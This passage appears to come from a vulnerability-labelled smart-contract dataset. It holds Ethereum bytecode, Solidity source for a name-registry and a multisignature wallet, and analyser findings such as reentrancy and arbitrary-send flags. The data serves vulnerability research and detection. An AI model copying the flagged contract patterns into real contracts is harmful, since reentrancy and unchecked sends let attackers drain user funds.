81600087803b158015611ef057600080fd5b505af1158015611f04573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083118290611f6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6591906125b7565b60405180910390fd5b5060008385611f7d9190612dd9565b9050809150509392505050565b611f95838383611fc5565b505050565b6000806000611fa7612190565b91509150611fbe81836113cb90919063ffffffff16565b9250505090565b600080600080600080611fd7876121f8565b95509550955095509550955061203586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461226090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120ca85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122aa90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061211681612308565b61212084836123c5565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161217d9190612706565b60405180910390a3505050505050505050565b6000806000600854905060006a52b7d2dcc80cd2e400000090506121ca6a52b7d2dcc80cd2e40000006008546113cb90919063ffffffff16565b8210156121eb576008546a52b7d2dcc80cd2e40000009350935050506121f4565b81819350935050505b9091565b60008060008060008060008060006122158a600a54600b546123ff565b9250925092506000612225611f9a565b905060008060006122388e878787612495565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006122a283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b70565b905092915050565b60008082846122b99190613354565b9050838110156122fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122f5906133f6565b60405180910390fd5b8091505092915050565b6000612312611f9a565b90506000612329828461135090919063ffffffff16565b905061237d81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122aa90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6123da8260085461226090919063ffffffff16565b6008819055506123f5816009546122aa90919063ffffffff16565b6009819055505050565b60008060008061242b606461241d888a61135090919063ffffffff16565b6113cb90919063ffffffff16565b905060006124556064612447888b61135090919063ffffffff16565b6113cb90919063ffffffff16565b9050600061247e82612470858c61226090919063ffffffff16565b61226090919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806124ae858961135090919063ffffffff16565b905060006124c5868961135090919063ffffffff16565b905060006124dc878961135090919063ffffffff16565b90506000612505826124f7858761226090919063ffffffff16565b61226090919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561255857808201518184015260208101905061253d565b83811115612567576000848401525b50505050565b6000601f19601f8301169050919050565b60006125898261251e565b6125938185612529565b93506125a381856020860161253a565b6125ac8161256d565b840191505092915050565b600060208201905081810360008301526125d1818461257e565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612618826125ed565b9050919050565b6126288161260d565b811461263357600080fd5b50565b6000813590506126458161261f565b92915050565b6000819050919050565b61265e8161264b565b811461266957600080fd5b50565b60008135905061267b81612655565b92915050565b60008060408385031215612698576126976125e3565b5b60006126a685828601612636565b92505060206126b78582860161266c565b9150509250929050565b60008115159050919050565b6126d6816126c1565b82525050565b60006020820190506126f160008301846126cd565b92915050565b6127008161264b565b82525050565b600060208201905061271b60008301846126f7565b92915050565b60008060006060848603121561273a576127396125e3565b5b600061274886828701612636565b935050602061275986828701612636565b925050604061276a8682870161266c565b9150509250925092565b60006020828403121561278a576127896125e3565b5b600061279884828501612636565b91505092915050565b600060ff82169050919050565b6127b7816127a1565b82525050565b60006020820190506127d260008301846127ae565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128158261256d565b810181811067ffffffffffffffff82111715612834576128336127dd565b5b80604052505050565b60006128476125d9565b9050612853828261280c565b919050565b600067ffffffffffffffff821115612873576128726127dd565b5b602082029050602081019050919050565b600080fd5b600061289c61289784612858565b61283d565b905080838252602082019050602084028301858111156128bf576128be612884565b5b835b818110156128e857806128d48882612636565b8452602084019350506020810190506128c1565b5050509392505050565b600082601f830112612907576129066127d8565b5b8135612917848260208601612889565b91505092915050565b600060208284031215612936576129356125e3565b5b600082013567ffffffffffffffff811115612954576129536125e8565b5b612960848285016128f2565b91505092915050565b612972816126c1565b811461297d57600080fd5b50565b60008135905061298f81612969565b92915050565b6000602082840312156129ab576129aa6125e3565b5b60006129b984828501612980565b91505092915050565b6129cb8161260d565b82525050565b60006020820190506129e660008301846129c2565b92915050565b600060208284031215612a0257612a016125e3565b5b6000612a108482850161266c565b91505092915050565b60008060408385031215612a3057612a2f6125e3565b5b6000612a3e85828601612636565b9250506020612a4f85828601612636565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612a8f602083612529565b9150612a9a82612a59565b602082019050919050565b60006020820190508181036000830152612abe81612a82565b9050919050565b600081519050612ad48161261f565b92915050565b600060208284031215612af057612aef6125e3565b5b6000612afe84828501612ac5565b91505092915050565b6000604082019050612b1c60008301856129c2565b612b2960208301846129c2565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612b998261264b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612bcc57612bcb612b5f565b5b600182019050919050565b6000819050919050565b6000819050919050565b6000612c06612c01612bfc84612bd7565b612be1565b61264b565b9050919050565b612c1681612beb565b82525050565b600060c082019050612c3160008301896129c2565b612c3e60208301886126f7565b612c4b6040830187612c0d565b612c586060830186612c0d565b612c6560808301856129c2565b612c7260a08301846126f7565b979650505050505050565b600081519050612c8c81612655565b92915050565b600080600060608486031215612cab57612caa6125e3565b5b6000612cb986828701612c7d565b9350506020612cca86828701612c7d565b9250506040612cdb86828701612c7d565b9150509250925092565b6000604082019050612cfa60008301856129c2565b612d0760208301846126f7565b9392505050565b600081519050612d1d81612969565b92915050565b600060208284031215612d3957612d386125e3565b5b6000612d4784828501612d0e565b91505092915050565b6000612d5b8261264b565b9150612d668361264b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612d9f57612d9e612b5f565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612de48261264b565b9150612def8361264b565b925082612dff57612dfe612daa565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612e66602183612529565b9150612e7182612e0a565b604082019050919050565b60006020820190508181036000830152612e9581612e59565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612ef8602483612529565b9150612f0382612e9c565b604082019050919050565b60006020820190508181036000830152612f2781612eeb565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f8a602283612529565b9150612f9582612f2e565b604082019050919050565b60006020820190508181036000830152612fb981612f7d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061301c602583612529565b915061302782612fc0565b604082019050919050565b6000602082019050818103600083015261304b8161300f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006130ae602383612529565b91506130b982613052565b604082019050919050565b600060208201905081810360008301526130dd816130a1565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613140602983612529565b915061314b826130e4565b604082019050919050565b6000602082019050818103600083015261316f81613133565b9050919050565b60006131818261264b565b915061318c8361264b565b92508282101561319f5761319e612b5f565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613206602a83612529565b9150613211826131aa565b604082019050919050565b60006020820190508181036000830152613235816131f9565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6132718161260d565b82525050565b60006132838383613268565b60208301905092915050565b6000602082019050919050565b60006132a78261323c565b6132b18185613247565b93506132bc83613258565b8060005b838110156132ed5781516132d48882613277565b97506132df8361328f565b9250506001810190506132c0565b5085935050505092915050565b600060a08201905061330f60008301886126f7565b61331c6020830187612c0d565b818103604083015261332e818661329c565b905061333d60608301856129c2565b61334a60808301846126f7565b9695505050505050565b600061335f8261264b565b915061336a8361264b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561339f5761339e612b5f565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006133e0601b83612529565b91506133eb826133aa565b602082019050919050565b6000602082019050818103600083015261340f816133d3565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209fe14ee1ba5477ca06d029de69912788d451a6e9bc39447dbb186e3690e72e8f64736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,176 |
0x02575ca9424acd6aed8d8dc1b01fa7175000cef0
|
pragma solidity ^0.4.18;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public{
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner{
require(newOwner != address(0));
owner = newOwner;
}
}
contract ERC721Interface {
// Required methods
// function totalSupply() public view returns (uint256 total);
// function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
// function approve(address _to, uint256 _tokenId) external;
// function transfer(address _to, uint256 _tokenId) external;
// function transferFrom(address _from, address _to, uint256 _tokenId) external;
}
/**
* @dev Name provider contract
* Allows saving names and descriptons for specified addresses and tokens
*/
contract NameProvider is Ownable {
uint256 public FEE = 1 finney;
//name storage for addresses
mapping(bytes32 => mapping(address => string)) addressNames;
//marks namespaces as already used on first name save to specified namespace
mapping(bytes32 => bool) takenNamespaces;
//name storage for tokens
mapping(address => mapping(uint256 => string)) tokenNames;
//description storage for tokens
mapping(address => mapping(uint256 => string)) tokenDescriptions;
/* EVENTS */
event NameChanged(bytes32 namespace, address account, string name);
event TokenNameChanged(address tokenProvider, uint256 tokenId, string name);
event TokenDescriptionChanged(address tokenProvider, uint256 tokenId, string description);
function NameProvider(address _owner) public {
require(_owner != address(0));
owner = _owner;
}
modifier setTokenText(address _tokenInterface, uint256 _tokenId, string _text){
//check fee
require(msg.value >= FEE);
//no empty strings allowed
require(bytes(_text).length > 0);
ERC721Interface tokenInterface = ERC721Interface(_tokenInterface);
//only token owner can set its name
require(msg.sender == tokenInterface.ownerOf(_tokenId));
_;//set text code
//return excess
if (msg.value > FEE) {
msg.sender.transfer(msg.value - FEE);
}
}
//@dev set name for specified token,
// NB msg.sender must be owner of the specified token.
//@param _tokenInterface ERC721 protocol provider address
//@param _tokenId id of the token, whose name will be set
//@param _name string that will be set as new token name
function setTokenName(address _tokenInterface, uint256 _tokenId, string _name)
setTokenText(_tokenInterface, _tokenId, _name) external payable {
_setTokenName(_tokenInterface, _tokenId, _name);
}
//@dev set description for specified token,
// NB msg.sender must be owner of the specified token.
//@param _tokenInterface ERC721 protocol provider address
//@param _tokenId id of the token, whose description will be set
//@param _description string that will be set as new token description
function setTokenDescription(address _tokenInterface, uint256 _tokenId, string _description)
setTokenText(_tokenInterface, _tokenId, _description) external payable {
_setTokenDescription(_tokenInterface, _tokenId, _description);
}
//@dev get name of specified token,
//@param _tokenInterface ERC721 protocol provider address
//@param _tokenId id of the token, whose name will be returned
function getTokenName(address _tokenInterface, uint256 _tokenId) external view returns(string) {
return tokenNames[_tokenInterface][_tokenId];
}
//@dev get description of specified token,
//@param _tokenInterface ERC721 protocol provider address
//@param _tokenId id of the token, whose description will be returned
function getTokenDescription(address _tokenInterface, uint256 _tokenId) external view returns(string) {
return tokenDescriptions[_tokenInterface][_tokenId];
}
//@dev set global name for msg.sender,
// NB msg.sender must be owner of the specified token.
//@param _name string that will be set as new address name
function setName(string _name) external payable {
setServiceName(bytes32(0), _name);
}
//@dev set name for msg.sender in cpecified namespace,
// NB msg.sender must be owner of the specified token.
//@param _namespace bytes32 service identifier
//@param _name string that will be set as new address name
function setServiceName(bytes32 _namespace, string memory _name) public payable {
//check fee
require(msg.value >= FEE);
//set name
_setName(_namespace, _name);
//return excess
if (msg.value > FEE) {
msg.sender.transfer(msg.value - FEE);
}
}
//@dev get global name for specified address,
//@param _address the address for whom name string will be returned
function getNameByAddress(address _address) external view returns(string) {
return addressNames[bytes32(0)][_address];
}
//@dev get global name for msg.sender,
function getName() external view returns(string) {
return addressNames[bytes32(0)][msg.sender];
}
//@dev get name for specified address and namespace,
//@param _namespace bytes32 service identifier
//@param _address the address for whom name string will be returned
function getServiceNameByAddress(bytes32 _namespace, address _address) external view returns(string) {
return addressNames[_namespace][_address];
}
//@dev get name for specified namespace and msg.sender,
//@param _namespace bytes32 service identifier
function getServiceName(bytes32 _namespace) external view returns(string) {
return addressNames[_namespace][msg.sender];
}
//@dev get names for specified addresses in global namespace (bytes32(0))
//@param _address address[] array of addresses for whom names will be returned
//@return namesData bytes32
//@return nameLength number of bytes32 in address name, sum of nameLength values equals namesData.length (1 to 1 with _address)
function getNames(address[] _address) external view returns(bytes32[] namesData, uint256[] nameLength) {
return getServiceNames(bytes32(0), _address);
}
//@dev get names for specified tokens
//@param _tokenIds uint256[] array of ids for whom names will be returned
//@return namesData bytes32
//@return nameLength number of bytes32 in token name, sum of nameLength values equals namesData.length (1 to 1 with _tokenIds)
function getTokenNames(address _tokenInterface, uint256[] _tokenIds) external view returns(bytes32[] memory namesData, uint256[] memory nameLength) {
return _getTokenTexts(_tokenInterface, _tokenIds, true);
}
//@dev get names for specified tokens
//@param _tokenIds uint256[] array of ids for whom descriptons will be returned
//@return descriptonData bytes32
//@return descriptionLength number of bytes32 in token name, sum of nameLength values equals namesData.length (1 to 1 with _tokenIds)
function getTokenDescriptions(address _tokenInterface, uint256[] _tokenIds) external view returns(bytes32[] memory descriptonData, uint256[] memory descriptionLength) {
return _getTokenTexts(_tokenInterface, _tokenIds, false);
}
//@dev get names for specified addresses and namespace
//@param _namespace bytes32 namespace identifier
//@param _address address[] array of addresses for whom names will be returned
//@return namesData bytes32
//@return nameLength number of bytes32 in address name, sum of nameLength values equals namesData.length (1 to 1 with _address)
function getServiceNames(bytes32 _namespace, address[] _address) public view returns(bytes32[] memory namesData, uint256[] memory nameLength) {
uint256 length = _address.length;
nameLength = new uint256[](length);
bytes memory stringBytes;
uint256 size = 0;
uint256 i;
for (i = 0; i < length; i ++) {
stringBytes = bytes(addressNames[_namespace][_address[i]]);
size += nameLength[i] = stringBytes.length % 32 == 0 ? stringBytes.length / 32 : stringBytes.length / 32 + 1;
}
namesData = new bytes32[](size);
size = 0;
for (i = 0; i < length; i ++) {
size += _stringToBytes32(addressNames[_namespace][_address[i]], namesData, size);
}
}
function namespaceTaken(bytes32 _namespace) external view returns(bool) {
return takenNamespaces[_namespace];
}
function setFee(uint256 _fee) onlyOwner external {
FEE = _fee;
}
function withdraw() onlyOwner external {
owner.transfer(this.balance);
}
function _setName(bytes32 _namespace, string _name) internal {
addressNames[_namespace][msg.sender] = _name;
if (!takenNamespaces[_namespace]) {
takenNamespaces[_namespace] = true;
}
NameChanged(_namespace, msg.sender, _name);
}
function _setTokenName(address _tokenInterface, uint256 _tokenId, string _name) internal {
tokenNames[_tokenInterface][_tokenId] = _name;
TokenNameChanged(_tokenInterface, _tokenId, _name);
}
function _setTokenDescription(address _tokenInterface, uint256 _tokenId, string _description) internal {
tokenDescriptions[_tokenInterface][_tokenId] = _description;
TokenDescriptionChanged(_tokenInterface, _tokenId, _description);
}
function _getTokenTexts(address _tokenInterface, uint256[] memory _tokenIds, bool names) internal view returns(bytes32[] memory namesData, uint256[] memory nameLength) {
uint256 length = _tokenIds.length;
nameLength = new uint256[](length);
mapping(address => mapping(uint256 => string)) textMap = names ? tokenNames : tokenDescriptions;
bytes memory stringBytes;
uint256 size = 0;
uint256 i;
for (i = 0; i < length; i ++) {
stringBytes = bytes(textMap[_tokenInterface][_tokenIds[i]]);
size += nameLength[i] = stringBytes.length % 32 == 0 ? stringBytes.length / 32 : stringBytes.length / 32 + 1;
}
namesData = new bytes32[](size);
size = 0;
for (i = 0; i < length; i ++) {
size += _stringToBytes32(textMap[_tokenInterface][_tokenIds[i]], namesData, size);
}
}
function _stringToBytes32(string memory source, bytes32[] memory namesData, uint256 _start) internal pure returns (uint256) {
bytes memory stringBytes = bytes(source);
uint256 length = stringBytes.length;
bytes32[] memory result = new bytes32[](length % 32 == 0 ? length / 32 : length / 32 + 1);
bytes32 word;
uint256 index = 0;
uint256 limit = 0;
for (uint256 i = 0; i < length; i += 32) {
limit = i + 32;
assembly {
word := mload(add(source, limit))
}
namesData[_start + index++] = word;
}
return result.length;
}
}
|
0x6060604052600436106100f85763ffffffff60e060020a60003504166317d7de7c81146100fd5780633ccfd60b146101875780634290e6b61461019c5780635e3dbedb146101c057806369fe0e2d1461028457806370f6df5c1461029a578063787f9710146102bc5780637a1085ca146102e65780637c80bb4f146103315780637ed04cf2146103505780638da5cb5b1461037b578063b4819e76146103aa578063c47f0027146103cc578063c57981b5146103df578063c94bfdb114610404578063cbf8b66c14610428578063d515be3914610446578063f2fde38b14610468578063fb368e8f14610487578063fc81b1c41461049d575b600080fd5b341561010857600080fd5b6101106104f1565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561014c578082015183820152602001610134565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019257600080fd5b61019a6105d7565b005b61019a60048035600160a060020a031690602480359160443591820191013561062d565b34156101cb57600080fd5b6101eb60048035600160a060020a03169060248035908101910135610790565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b8381101561022f578082015183820152602001610217565b50505050905001838103825284818151815260200191508051906020019060200280838360005b8381101561026e578082015183820152602001610256565b5050505090500194505050505060405180910390f35b341561028f57600080fd5b61019a6004356107e6565b34156102a557600080fd5b610110600435600160a060020a0360243516610806565b34156102c757600080fd5b6102d26004356108d6565b604051901515815260200160405180910390f35b61019a600480359060446024803590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506108eb95505050505050565b341561033c57600080fd5b610110600160a060020a0360043516610949565b341561035b57600080fd5b6101eb60048035600160a060020a03169060248035908101910135610a30565b341561038657600080fd5b61038e610a7a565b604051600160a060020a03909116815260200160405180910390f35b34156103b557600080fd5b610110600160a060020a0360043516602435610a89565b61019a6004803560248101910135610b30565b34156103ea57600080fd5b6103f2610b69565b60405190815260200160405180910390f35b61019a60048035600160a060020a0316906024803591604435918201910135610b6f565b341561043357600080fd5b6101eb6004803560248101910135610c87565b341561045157600080fd5b610110600160a060020a0360043516602435610cd9565b341561047357600080fd5b61019a600160a060020a0360043516610d80565b341561049257600080fd5b610110600435610ddf565b34156104a857600080fd5b6101eb60048035906044602480359081019083013580602081810201604051908101604052809392919081815260200183836020028082843750949650610e7795505050505050565b6104f9611764565b600160a060020a03331660009081527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b6020908152604091829020805490926002610100600184161502600019019092169190910491601f8301819004810201905190810160405280929190818152602001828054600181600116156101000203166002900480156105cc5780601f106105a1576101008083540402835291602001916105cc565b820191906000526020600020905b8154815290600101906020018083116105af57829003601f168201915b505050505090505b90565b60005433600160a060020a039081169116146105f257600080fd5b600054600160a060020a039081169030163180156108fc0290604051600060405180830381858888f19350505050151561062b57600080fd5b565b838383838080601f0160208091040260200160405190810160405281815292919060208401838380828437505060015460009450341015925061067291505057600080fd5b600082511161068057600080fd5b5082600160a060020a038116636352211e8460006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b15156106d157600080fd5b6102c65a03f115156106e257600080fd5b50505060405180519050600160a060020a031633600160a060020a031614151561070b57600080fd5b610745888888888080601f016020809104026020016040519081016040528181529291906020840183838082843750611138945050505050565b6001543411156107865733600160a060020a03166108fc60015434039081150290604051600060405180830381858888f19350505050151561078657600080fd5b5050505050505050565b610798611764565b6107a0611764565b6107da8585858080602002602001604051908101604052809392919081815260200183836020028082843750600094506112249350505050565b91509150935093915050565b60005433600160a060020a0390811691161461080157600080fd5b600155565b61080e611764565b6000838152600260208181526040808420600160a060020a038716855282529283902080549093610100600183161502600019019091169290920491601f83018290048202909101905190810160405280929190818152602001828054600181600116156101000203166002900480156108c95780601f1061089e576101008083540402835291602001916108c9565b820191906000526020600020905b8154815290600101906020018083116108ac57829003601f168201915b5050505050905092915050565b60009081526003602052604090205460ff1690565b6001543410156108fa57600080fd5b61090482826114e9565b6001543411156109455733600160a060020a03166108fc60015434039081150290604051600060405180830381858888f19350505050151561094557600080fd5b5050565b610951611764565b600160a060020a03821660009081527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b6020908152604091829020805490926002610100600184161502600019019092169190910491601f830181900481020190519081016040528092919081815260200182805460018160011615610100020316600290048015610a245780601f106109f957610100808354040283529160200191610a24565b820191906000526020600020905b815481529060010190602001808311610a0757829003601f168201915b50505050509050919050565b610a38611764565b610a40611764565b6107da8585858080602002602001604051908101604052809392919081815260200183836020028082843750600194506112249350505050565b600054600160a060020a031681565b610a91611764565b6005600084600160a060020a0316600160a060020a0316815260200190815260200160002060008381526020019081526020016000208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108c95780601f1061089e576101008083540402835291602001916108c9565b61094560008383806020601f820181900481020160405190810160405281815292919060208401838380828437506108eb945050505050565b60015481565b838383838080601f01602080910402602001604051908101604052818152929190602084018383808284375050600154600094503410159250610bb491505057600080fd5b6000825111610bc257600080fd5b5082600160a060020a038116636352211e8460006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610c1357600080fd5b6102c65a03f11515610c2457600080fd5b50505060405180519050600160a060020a031633600160a060020a0316141515610c4d57600080fd5b610745888888888080601f016020809104026020016040519081016040528181529291906020840183838082843750611604945050505050565b610c8f611764565b610c97611764565b610cce6000858580602080820201604051908101604052809392919081815260200183836020028082843750610e77945050505050565b915091509250929050565b610ce1611764565b6004600084600160a060020a0316600160a060020a0316815260200190815260200160002060008381526020019081526020016000208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108c95780601f1061089e576101008083540402835291602001916108c9565b60005433600160a060020a03908116911614610d9b57600080fd5b600160a060020a0381161515610db057600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b610de7611764565b6000828152600260208181526040808420600160a060020a033316855282529283902080549093610100600183161502600019019091169290920491601f8301829004820290910190519081016040528092919081815260200182805460018160011615610100020316600290048015610a245780601f106109f957610100808354040283529160200191610a24565b610e7f611764565b610e87611764565b6000610e91611764565b6000808651935083604051805910610ea65750595b9080825280602002602001820160405250945060009150600090505b8381101561100757600088815260026020526040812090888381518110610ee557fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000208054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610fa35780601f10610f7857610100808354040283529160200191610fa3565b820191906000526020600020905b815481529060010190602001808311610f8657829003601f168201915b5050505050925060208351811515610fb757fe5b0615610fd35760208351811515610fca57fe5b04600101610fe2565b60208351811515610fe057fe5b045b858281518110610fee57fe5b6020908102909101018190529190910190600101610ec2565b816040518059106110155750595b9080825280602002602001820160405250955060009150600090505b8381101561112d5760008881526002602052604081206111219189848151811061105757fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111155780601f106110ea57610100808354040283529160200191611115565b820191906000526020600020905b8154815290600101906020018083116110f857829003601f168201915b505050505087846116ae565b90910190600101611031565b505050509250929050565b600160a060020a0383166000908152600460209081526040808320858452909152902081805161116c929160200190611776565b507f8ee52ca76ee5f3a802fa7f1ca9573eafe8571546623ccf3b2aaaae2f9eb619f8838383604051600160a060020a03841681526020810183905260606040820181815290820183818151815260200191508051906020019080838360005b838110156111e35780820151838201526020016111cb565b50505050905090810190601f1680156112105780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a1505050565b61122c611764565b611234611764565b60008061123f611764565b60008088519450846040518059106112545750595b9080825280602002602001820160405250955087611273576005611276565b60045b935060009150600090505b848110156113be57600160a060020a038a166000908152602085905260408120908a83815181106112ae57fe5b9060200190602002015181526020019081526020016000208054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561135a5780601f1061132f5761010080835404028352916020019161135a565b820191906000526020600020905b81548152906001019060200180831161133d57829003601f168201915b505050505092506020835181151561136e57fe5b061561138a576020835181151561138157fe5b04600101611399565b6020835181151561139757fe5b045b8682815181106113a557fe5b6020908102909101018190529190910190600101611281565b816040518059106113cc5750595b9080825280602002602001820160405250965060009150600090505b848110156114dc57600160a060020a038a1660009081526020859052604081206114d0918b848151811061141857fe5b9060200190602002015181526020019081526020016000208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114c45780601f10611499576101008083540402835291602001916114c4565b820191906000526020600020905b8154815290600101906020018083116114a757829003601f168201915b505050505088846116ae565b909101906001016113e8565b5050505050935093915050565b6000828152600260209081526040808320600160a060020a0333168452909152902081805161151c929160200190611776565b5060008281526003602052604090205460ff16151561154f576000828152600360205260409020805460ff191660011790555b7f2affd71d718c3a786a9932b51440f193080f1b3f5997affecdab6fff70bdfdc5823383604051838152600160a060020a038316602082015260606040820181815290820183818151815260200191508051906020019080838360005b838110156115c45780820151838201526020016115ac565b50505050905090810190601f1680156115f15780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a15050565b600160a060020a03831660009081526005602090815260408083208584529091529020818051611638929160200190611776565b507fc20be66aa256a48417b8466da57eb26072859189771b5ceade6d6a5a10004404838383604051600160a060020a0384168152602081018390526060604082018181529082018381815181526020019150805190602001908083836000838110156111e35780820151838201526020016111cb565b60006116b8611764565b60006116c2611764565b6000806000808a96508651955060208606156116e457602086046001016116e9565b602086045b6040518059106116f65750595b908082528060200260200182016040525094506000925060009150600090505b8581101561175357806020019150818b01519350838a848060010195508b018151811061173f57fe5b602090810290910181019190915201611716565b84519b9a5050505050505050505050565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106117b757805160ff19168380011785556117e4565b828001600101855582156117e4579182015b828111156117e45782518255916020019190600101906117c9565b506117f09291506117f4565b5090565b6105d491905b808211156117f057600081556001016117fa5600a165627a7a72305820658afb46dff2f4ec5afb643ec0b71f03bede572ebab041fe4b059314f91d08b70029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
| 4,177 |
0xd49e65db1aee6e8c06177799d30c235107facc24
|
pragma solidity ^0.4.13;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
if (msg.sender != address(this))
throw;
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
throw;
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
throw;
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
throw;
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
throw;
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
throw;
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
throw;
_;
}
modifier notNull(address _address) {
if (_address == 0)
throw;
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
throw;
_;
}
